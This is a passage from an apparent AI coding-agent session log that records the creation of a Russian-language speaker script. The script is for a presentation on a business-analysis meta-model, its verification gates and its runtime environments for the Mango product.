\u043c\u043e\u0436\u0435\u0442: \u0441\u043c\u044b\u0441\u043b, \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440,\\n\u043f\u0440\u0438\u0451\u043c\u043a\u0443. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 `M-3` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0430\u0432\u043e\u043a \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0432\u043d\u043e\u0441\u0438\u0442 \u043f\u043e\u0441\u043b\u0435\\n\u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430. \u0415\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u0437\u043d\u0430\u0447\u0438\u0442, \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e.\\n\\n### \u00ab\u0417\u0430\u0447\u0435\u043c \u0434\u0432\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, GigaCode CLI \u0438 Cline?\u00bb\\n\\n\u042d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u0432\u044b\u0431\u043e\u0440 \u0432\u043a\u0443\u0441\u0430. \u0412 GigaCode CLI \u043d\u0435\u0442 API Mango AI, \u0430\\nCline \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 Mango AI. Source \u043e\u0434\u0438\u043d, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u043f\u0430\u043a\u0435\u0442\u044b \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n\u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430\u043c\u0438. \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u0441\u043d\u0438\u043c\u0430\u0435\u0442 \u044d\u0442\u0443 \u0440\u0430\u0437\u0432\u0438\u043b\u043a\u0443: \u044f\u0434\u0440\u043e \u043e\u0434\u043d\u043e, \u043a\u043b\u0438\u0435\u043d\u0442 \u2014\\n\u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430.\\n\\n### \u00ab\u0427\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442?\u00bb\\n\\n\u0414\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; fail-closed \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445\\n\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u043b\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u0435; \u043e\u0434\u0438\u043d \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f\\n\u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0432 \u0434\u0432\u0443\u0445\\n\u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u2014 \u044d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 gate\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\u0421\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438:\\n\u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u043c\u0435\u0442\u043a\u0438 \u00ab\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u00bb, \u0430 \u043d\u0435 \u0435\u0451 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c.\\n\u042d\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u043e \u0444\u0430\u0439\u043b\u0443 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\\n\u0433\u0435\u0439\u0442\u043e\u043c.\\n\\n### \u00ab\u0421\u043a\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0438 \u043a\u043e\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0433\u043e\u0442\u043e\u0432\u043e?\u00bb\\n\\n\u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u0438 \u0442\u0440\u0443\u0434\u043e\u0437\u0430\u0442\u0440\u0430\u0442 \u043d\u0435\u0442, \u0438 \u043c\u044b \u0435\u0451 \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c. \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411. \u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0421\u0440\u0435\u0434\u044b 4 \u0431\u0443\u0434\u0435\u0442 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u0432\\nRFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b (B-218) \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0448\u0430\u0433 2 \u0434\u0430\u0441\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u043c\u0435\u0440\u0430.\\n\"\n[2026-09-29T07:53:48.040Z] [INFO]     }\n[2026-09-29T07:53:48.040Z] [INFO]   }\n[2026-09-29T07:53:48.040Z] [INFO] }\n[2026-09-29T07:53:48.097Z] [INFO] {\n[2026-09-29T07:53:48.097Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:53:48.097Z] [INFO]   \"message\": {\n[2026-09-29T07:53:48.097Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:53:48.097Z] [INFO]     \"content\": [\n[2026-09-29T07:53:48.097Z] [INFO]       {\n[2026-09-29T07:53:48.097Z] [INFO]         \"tool_use_id\": \"toolu_01GbDhvGR6SDE8EyvtinseYU\",\n[2026-09-29T07:53:48.097Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:53:48.097Z] [INFO]         \"content\": \"File created successfully at: /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md (file state is current in your context \u2014 no need to Read it back)\"\n[2026-09-29T07:53:48.097Z] [INFO]       }\n[2026-09-29T07:53:48.097Z] [INFO]     ]\n[2026-09-29T07:53:48.097Z] [INFO]   },\n[2026-09-29T07:53:48.097Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:53:48.097Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:53:48.097Z] [INFO]   \"uuid\": \"87ff2f0b-b96c-45fc-92cb-f27f516e1619\",\n[2026-09-29T07:53:48.097Z] [INFO]   \"timestamp\": \"2026-09-29T07:53:48.087Z\",\n[2026-09-29T07:53:48.097Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:53:48.097Z] [INFO]     \"type\": \"create\",\n[2026-09-29T07:53:48.097Z] [INFO]     \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:53:48.097Z] [INFO]     \"content\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.3\\ntype: presentation\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430\\n\\n\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043a\\n[\u0441\u043b\u0430\u0439\u0434\u0430\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0441\u043b\u0430\u0439\u0434\u043e\u0432. \u0422\u0435\u043a\u0441\u0442 \u0442\u0435\u0437\u0438\u0441\u043d\u044b\u0439: \u0435\u0433\u043e\\n\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0430 \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442.\\n\\n## \u0420\u0430\u043c\u043a\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f\\n\\n- **\u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f:** \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango. \u0415\u043c\u0443 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n  \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 LLM, \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 RAG. \u0415\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0435\u043c \u043f\u043e\u0434\u0445\u043e\u0434\\n  \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u00bb \u0438 \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- **\u0425\u0440\u043e\u043d\u043e\u043c\u0435\u0442\u0440\u0430\u0436:** \u043e\u043a\u043e\u043b\u043e 20 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0438 10\u201315 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n  \u041e\u0440\u0438\u0435\u043d\u0442\u0438\u0440 \u043f\u043e \u0441\u043b\u0430\u0439\u0434\u0430\u043c \u2014 \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u0435.\\n- **\u041e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043d\u0435\u0441\u0442\u0438 \u0441\u043b\u0443\u0448\u0430\u0442\u0435\u043b\u044c:** \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439\\n  \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n  \u0438 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438.\\n- **\u0422\u043e\u043d:** \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439. \u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c. \u0422\u0430\u043c, \u0433\u0434\u0435\\n  \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b, \u043e \u043d\u0451\u043c \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c: \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043d\u0430\u0439\u0434\u0451\u0442 \u0435\u0433\u043e\\n  \u0441\u0430\u043c, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u043a \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u0447\u0438\u0441\u043b\u0430\u043c.\\n\\n### \u0427\u0435\u0433\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c\\n\\n- \u0427\u0442\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d end-to-end. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u2014\\n  \u043e\u0442 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u043e Release. \u0428\u0430\u0433\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b.\\n- \u0427\u0442\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts` \u2014 \u0431\u0435\u043d\u0447\u043c\u0430\u0440\u043a. \u041e\u043d\u0438\\n  \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0438 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\u0445. \u0420\u0430\u0437\u0431\u043e\u0440 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0430 \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443.\\n- \u0427\u0442\u043e \u0421\u0440\u0435\u0434\u0430 4 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442. \u042d\u0442\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u0441 \u043f\u043b\u0430\u043d\u043e\u043c, \u0430 \u043d\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u0430\u044f\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1 \u043c\u0438\u043d\u0443\u0442\u0430. **\u0426\u0435\u043b\u044c:** \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u0435\u0437\u0438\u0441 \u0438 \u0434\u0430\u0442\u044c \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f\\n\u043d\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044e, \u0430 \u043d\u0435 \u043d\u0430 \u0442\u0435\u043e\u0440\u0438\u044e.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u043f\u0440\u0438\u0448\u043b\u0438 \u043d\u0435 \u0441 \u0438\u0434\u0435\u0435\u0439, \u0430 \u0441 \u043f\u043e\u043b\u0443\u0433\u043e\u0434\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b: \u0441 \u0430\u043f\u0440\u0435\u043b\u044f \u043f\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 \u0433\u043e\u0434\u0430\\n  69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango \u0447\u0435\u0440\u0435\u0437 \u0418\u0418.\\n- \u0412\u0441\u0451 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n  [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts): \u0432\u0445\u043e\u0434\u044b,\\n  \u0432\u044b\u0445\u043e\u0434\u044b, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0436\u0443\u0440\u043d\u0430\u043b\u044b. 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u0418\u0437 \u044d\u0442\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2014 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a\\n  \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u0438 \u0433\u0434\u0435 \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043e\u0439.\\n- \u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043d\u044f\u043b\u0438: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n  \u0435\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041d\u0430\u0447\u043d\u0443 \u0441 \u0442\u043e\u0433\u043e, \u043f\u043e\u0447\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0437\u0434\u0435\u0441\u044c \u2014 \u043d\u0435 \u0430\u043a\u0430\u0434\u0435\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439\\n\u0432\u043e\u043f\u0440\u043e\u0441\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043d\u0443 \u043e\u0448\u0438\u0431\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f\\n\u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0439.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u0422\u0430\u043c \u0422\u0417 \u2014 \u043d\u0435 \u0440\u0430\u0431\u043e\u0447\u0430\u044f \u0437\u0430\u043c\u0435\u0442\u043a\u0430, \u0430\\n  \u043e\u0441\u043d\u043e\u0432\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0447\u0430\u0441\u0442\u044c \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439: \u0432 \u043d\u0430\u0448\u0435\u0439\\n  [\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml)\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445. \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0441\u0432\u043e\u0438\\n  \u043b\u043e\u0432\u0443\u0448\u043a\u0438: \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0438 \u0433\u0440\u0443\u043f\u043f\u0430, SLA \u0438 AHT, IVR \u0438 \u0430\u0432\u0442\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0440.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438. \u041d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\\n  \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430, \u0438 \u043f\u043e\u0442\u043e\u043c \u044d\u0442\u043e \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u0435\u0442 \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e \u0434\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438:** \u043a\u043e\u0433\u0434\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0440\u043e\u0433\u043e,\\n\u00ab\u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u0445\u043e\u0440\u043e\u0448\u0438\u0439\u00bb \u0442\u0435\u043a\u0441\u0442 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0433\u043e\u0434\u0438\u0442\u0441\u044f. \u041d\u0443\u0436\u043d\u0430 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435\\n\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 